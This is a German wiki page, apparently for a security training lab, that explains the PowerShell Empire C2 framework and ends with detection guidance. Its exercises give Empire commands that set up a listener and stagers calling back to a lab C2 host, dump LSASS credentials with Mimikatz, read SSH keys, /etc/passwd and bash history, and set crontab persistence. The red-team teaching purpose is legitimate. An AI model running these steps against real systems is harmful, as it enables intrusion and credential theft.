Thomas.will: Die Seite wurde neu angelegt: „= PowerShell Empire = {{Hinweis|Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (`secure.local`, `10.0.10.0/24`) s…“

2026-08-16T09:54:59Z

Die Seite wurde neu angelegt: „= PowerShell Empire = {{Hinweis|Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (<code>secure.local</code>, <code>10.0.10.0/24</code>) s…“

Neue Seite

= PowerShell Empire =

{{Hinweis|Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (<code>secure.local</code>, <code>10.0.10.0/24</code>) statt. Empire ist ein Dual-Use-Werkzeug – Einsatz nur gegen Systeme, für die eine ausdrückliche Freigabe vorliegt.}}

== Was ist Empire? ==

'''Empire''' ist ein '''Post-Exploitation- und Command-and-Control-Framework''' (C2) für Red-Team-Arbeit und Adversary Emulation. Der entscheidende Punkt für das Verständnis:

: '''Empire verschafft dir keinen Zugang – Empire nutzt einen bereits vorhandenen Zugang aus.'''

Der typische Angriffsablauf zerfällt in zwei Phasen:

{| class="wikitable"
! Phase !! Frage !! Werkzeug (Beispiel)
|-
| '''Initial Access''' || „Wie komme ich rein?" || Exploit, Phishing, geklaute Zugangsdaten (z. B. Metasploit)
|-
| '''Post-Exploitation''' || „Ich bin drin – was jetzt?" || '''Empire''' (C2, Tasking, Persistenz, Credential-Zugriff, Lateral Movement, Exfiltration)
|}

Genau diese zweite Phase ist das, was Teilnehmer oft unterschätzen: Der erste Treffer ist selten das Ziel, sondern nur der Anfang. Empire macht sichtbar, wie aus einem einzelnen kompromittierten Rechner die Kontrolle über ein ganzes Netz wird.

Empire ging aus zwei älteren Projekten hervor (''PowerShell Empire'' und ''Python EmPyre''). Das Original wurde 2019 eingestellt; seither pflegt '''BC-Security''' den aktiven Fork. Aktueller Stand: Empire 6.x (benötigt mindestens Python 3.13). In Kali ist es paketiert:

<syntaxhighlight lang="bash">
sudo apt install powershell-empire
</syntaxhighlight>

== Architektur ==

Empire arbeitet nach dem Team-Server-Prinzip – ein zentraler Server, an den sich mehrere Operatoren (und die kompromittierten Rechner) anmelden:

: '''Server''' → '''Listener''' → '''Stager''' → '''Agent''' → '''Tasking''' → '''Module'''

{| class="wikitable"
! Baustein !! Funktion
|-
| '''Team-Server''' || Zentrale Steuerung, REST-API (Standard-Port 1337). Läuft im Lab auf <code>kali-innen</code> (<code>10.0.10.101</code>).
|-
| '''Client / Starkiller''' || Bedienoberfläche – CLI oder die grafische Weboberfläche ''Starkiller''.
|-
| '''Listener''' || Nimmt Rückverbindungen der Agenten entgegen (HTTP, HTTPS, ...).
|-
| '''Stager''' || Kleiner Erstcode, der auf dem Ziel läuft und den vollständigen Agenten nachlädt.
|-
| '''Agent''' || Der eigentliche Implantatprozess auf dem Ziel. '''Zwei Welten:''' PowerShell-Agent (Windows, ohne <code>powershell.exe</code>) und Python-Agent (Linux/macOS).
|-
| '''Modul''' || Fertige Post-Ex-Funktion (Enumeration, Credential-Zugriff, Persistenz, Pivoting ...).
|}

Dass es einen '''PowerShell- und einen Python-Agenten''' gibt, ist der Grund, warum wir Empire sowohl gegen ein Windows- als auch gegen ein Linux-Ziel zeigen können (Übung 1 und 2).

== Einordnung: Womit konkurriert Empire? ==

Empire ist eines von vielen C2-Frameworks. Wo es steht, sieht man am besten im Vergleich:

{| class="wikitable"
! Framework !! Lizenz !! Agent / Kern !! Stärke !! Bemerkung
|-
| '''Empire''' || Open Source || PowerShell + Python || Riesige Post-Ex-/AD-Modulbibliothek, ideal zum Lernen || PowerShell-lastig → wird von modernem AMSI/EDR gut erkannt
|-
| '''Cobalt Strike''' || Kommerziell (Fortra), ca. 3.500 $/Nutzer im 1. Jahr, ~2.585 $ Verlängerung; Käuferprüfung || Beacon || „Goldstandard", Malleable C2, Team-Kollaboration || Von realen APT-Gruppen am häufigsten missbraucht
|-
| '''Metasploit / Meterpreter''' || Open Source / Pro || Meterpreter || Breite Exploit-Sammlung, alles aus einer Hand || Eher exploit- als C2-zentriert
|-
| '''Sliver''' (Bishop Fox) || Open Source || Go, cross-platform || Modern, mTLS/HTTP(S)/DNS/WireGuard, guter CS-Ersatz || Aktueller Liebling vieler Red Teams
|-
| '''Mythic''' || Open Source || modular, viele Agenten || Sehr flexibel, sauberes Web-UI || Baukasten-Prinzip
|-
| '''Havoc''' || Open Source || Demon || Modern, Fokus auf EDR-Evasion || Jung, schnell gewachsen
|-
| '''PoshC2''' || Open Source || PowerShell + Python || Ähnliche Nische wie Empire || Direkte Alternative
|-
| '''Brute Ratel''' || Kommerziell || Badger || Stark auf EDR-Umgehung getrimmt || Ebenfalls in kriminellem Umlauf
|}

'''Fazit für den Unterricht:''' Empire ist kostenlos, extrem gut dokumentiert und hat eine der umfangreichsten Post-Ex-Modulbibliotheken – deshalb ist es ein hervorragendes '''Lehr- und Detektions-Werkzeug'''. Für maximale Tarnung gegen aktuelle EDR sind Teams weiter zu Sliver/Havoc/Mythic bzw. Cobalt Strike gewandert. Für „verstehen, wie C2 funktioniert und wie man es erkennt" ist Empire aber genau richtig.

== Voraussetzungen im Lab ==

{| class="wikitable"
! Rolle !! Host !! IP
|-
| Empire-Server / Angreifer || <code>kali-innen</code> || <code>10.0.10.101</code>
|-
| Windows-Ziel (Übung 1) || <code>win2k8</code> / <code>win11</code> || <code>10.0.10.107</code> / <code>10.0.10.102</code>
|-
| Linux-Ziel (Übung 2) || <code>opfer</code> / <code>userver</code> || <code>10.0.10.104</code> / <code>10.0.10.103</code>
|}

Empire-Server und Client starten (auf <code>kali-innen</code>):

<syntaxhighlight lang="bash">
# Terminal 1 – Team-Server
powershell-empire server

# Terminal 2 – Client
powershell-empire client
</syntaxhighlight>

: ''Hinweis:'' Der genaue Befehlssatz kann sich je nach Empire-Version leicht unterscheiden. Im Zweifel im jeweiligen Menü <code>help</code> eingeben.

== Übung 1 – Windows-Ziel (PowerShell-Agent) ==

'''Lernziel:''' Post-Exploitation auf Windows – vom Foothold zum Credential-Zugriff – und der Aha-Moment, warum ein Altsystem „Game Over" bedeutet.

=== 1.1 Listener bauen ===

<syntaxhighlight lang="text">
(Empire) > uselistener http
(Empire)(uselistener/http) > set Name lab_http
(Empire)(uselistener/http) > set Host http://10.0.10.101
(Empire)(uselistener/http) > set Port 8080
(Empire)(uselistener/http) > execute
(Empire) > listeners
</syntaxhighlight>

=== 1.2 Stager erzeugen und auf dem Ziel ausführen ===

<syntaxhighlight lang="text">
(Empire) > usestager windows/launcher_bat
(Empire)(usestager/...) > set Listener lab_http
(Empire)(usestager/...) > generate
</syntaxhighlight>

Den erzeugten Stager im Lab auf dem Windows-Ziel ausführen (bei uns bewusst der klassische Weg – im Unterricht startet man ihn direkt auf der VM). Kurz darauf meldet sich der Agent.

=== 1.3 Agent übernehmen und Lage sondieren ===

<syntaxhighlight lang="text">
(Empire) > agents
(Empire) > interact <AGENT_NAME>
(Empire)(<AGENT>) > info
(Empire)(<AGENT>) > shell whoami
(Empire)(<AGENT>) > shell hostname
(Empire)(<AGENT>) > sysinfo
</syntaxhighlight>

=== 1.4 Der Payoff: Credential-Zugriff ===

'''Auf <code>win2k8</code>''' (kein Credential Guard, kein AMSI) läuft das sauber durch:

<syntaxhighlight lang="text">
(Empire)(<AGENT>) > usemodule powershell/credentials/mimikatz/logonpasswords
(Empire)(usemodule/...) > execute
</syntaxhighlight>

Empire lädt Mimikatz im Speicher (ohne Datei auf Platte) und liest Klartext-/Hash-Anmeldedaten aus dem LSASS aus. '''Das''' ist der Moment, an dem die Post-Ex-Power greifbar wird: aus „ein Nutzer kompromittiert" wird „weitere Zugänge in der Hand".

=== 1.5 Die Gegenprobe: dasselbe auf win11 ===

Denselben Ablauf auf <code>win11</code> (<code>10.0.10.102</code>) fahren. Ergebnis: der Standard-Launcher bzw. das Mimikatz-Modul wird von '''AMSI/Defender''' geblockt, LSASS ist durch '''Credential Guard / PPL''' geschützt. Genau hier springt die Blue-Team-Perspektive an – Thema: Evasion vs. Detection, und warum Patch-Stand und moderne Schutzmechanismen den Unterschied machen.

== Übung 2 – Linux-Ziel (Python-Agent) ==

'''Lernziel:''' Empire ist nicht „nur Windows". Der Python-Agent zeigt Post-Exploitation auf einem Linux-Server – Enumeration, Beute sichern, Persistenz.

: ''Zielwahl:'' modernes Debian (<code>opfer</code>/<code>userver</code>) mit Python 3. <code>metasploitable</code> hat nur Python 2 und eignet sich für den Metasploit-Teil (Initial Access), nicht für den aktuellen Empire-Python-Agenten.

=== 2.1 Listener (falls nicht aus Übung 1 vorhanden) ===

<syntaxhighlight lang="text">
(Empire) > uselistener http
(Empire)(uselistener/http) > set Name lab_http
(Empire)(uselistener/http) > set Host http://10.0.10.101
(Empire)(uselistener/http) > set Port 8080
(Empire)(uselistener/http) > execute
</syntaxhighlight>

=== 2.2 Python-Stager erzeugen und ausführen ===

<syntaxhighlight lang="text">
(Empire) > usestager multi/bash
(Empire)(usestager/...) > set Listener lab_http
(Empire)(usestager/...) > generate
</syntaxhighlight>

Den Einzeiler im Lab auf dem Linux-Ziel ausführen (im Unterricht direkt auf der VM). Der Python-Agent verbindet sich zurück.

=== 2.3 Agent übernehmen und Linux-Enumeration ===

<syntaxhighlight lang="text">
(Empire) > agents
(Empire) > interact <AGENT_NAME>
(Empire)(<AGENT>) > shell id
(Empire)(<AGENT>) > shell uname -a
(Empire)(<AGENT>) > shell sudo -l
(Empire)(<AGENT>) > shell cat /etc/passwd
(Empire)(<AGENT>) > shell ls -la ~/.ssh
(Empire)(<AGENT>) > shell cat ~/.bash_history
</syntaxhighlight>

'''Lehrpunkt:''' Post-Ex-Tradecraft ist betriebssystemspezifisch – unter Linux sucht man nach <code>sudo</code>-Rechten, SSH-Schlüsseln, Cron-Jobs und History, nicht nach LSASS. Empire vereinheitlicht nur die Steuerung darüber.

=== 2.4 Persistenz zeigen ===

<syntaxhighlight lang="text">
(Empire)(<AGENT>) > usemodule python/persistence/multi/crontab
(Empire)(usemodule/...) > info
(Empire)(usemodule/...) > execute
</syntaxhighlight>

Zeigt, wie sich ein Angreifer über einen Cron-Eintrag dauerhaft festsetzt – und liefert direkt die Vorlage, wonach die Verteidigung suchen muss.

== Detektion (Blue-Team-Anschluss) ==

Beide Übungen lassen sich unmittelbar an SOC/SIEM anbinden – so wird aus dem Angriffs-Lab ein Erkennungs-Lab:

{| class="wikitable"
! Beobachtung !! Nachweis
|-
| Agent-Beaconing (regelmäßige HTTP-Callbacks zu <code>10.0.10.101:8080</code>) || Suricata / Netzwerk-Flow: periodische, gleichförmige Verbindungen
|-
| PowerShell-Stager / Mimikatz im Speicher || Windows-Eventlog (4104 Script Block Logging, Defender/AMSI-Events) → Wazuh
|-
| LSASS-Zugriff || Sysmon Event ID 10 (ProcessAccess auf lsass.exe) → Wazuh-Regel
|-
| Linux-Persistenz per Crontab || Dateiintegritäts-/Auditd-Überwachung von <code>/var/spool/cron</code>, <code>/etc/cron*</code> → Wazuh
|}

== Merksatz / didaktischer Kern ==

: '''Exploit ≠ Post-Exploitation.'''
: Der Exploit öffnet die Tür. Empire ist alles, was danach im Haus passiert – und genau deshalb ist Post-Ex die Phase, die man erkennen können muss.

[[Kategorie:Security]]
[[Kategorie:Red Team]]
[[Kategorie:Lab]]

PowerShell Empire - Versionsgeschichte

Thomas.will: Die Seite wurde neu angelegt: „= PowerShell Empire = {{Hinweis|Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (secure.local, 10.0.10.0/24) s…“

Thomas.will: Die Seite wurde neu angelegt: „= PowerShell Empire = {{Hinweis|Alle folgenden Schritte finden ausschließlich im isolierten Lab-Netz (`secure.local`, `10.0.10.0/24`) s…“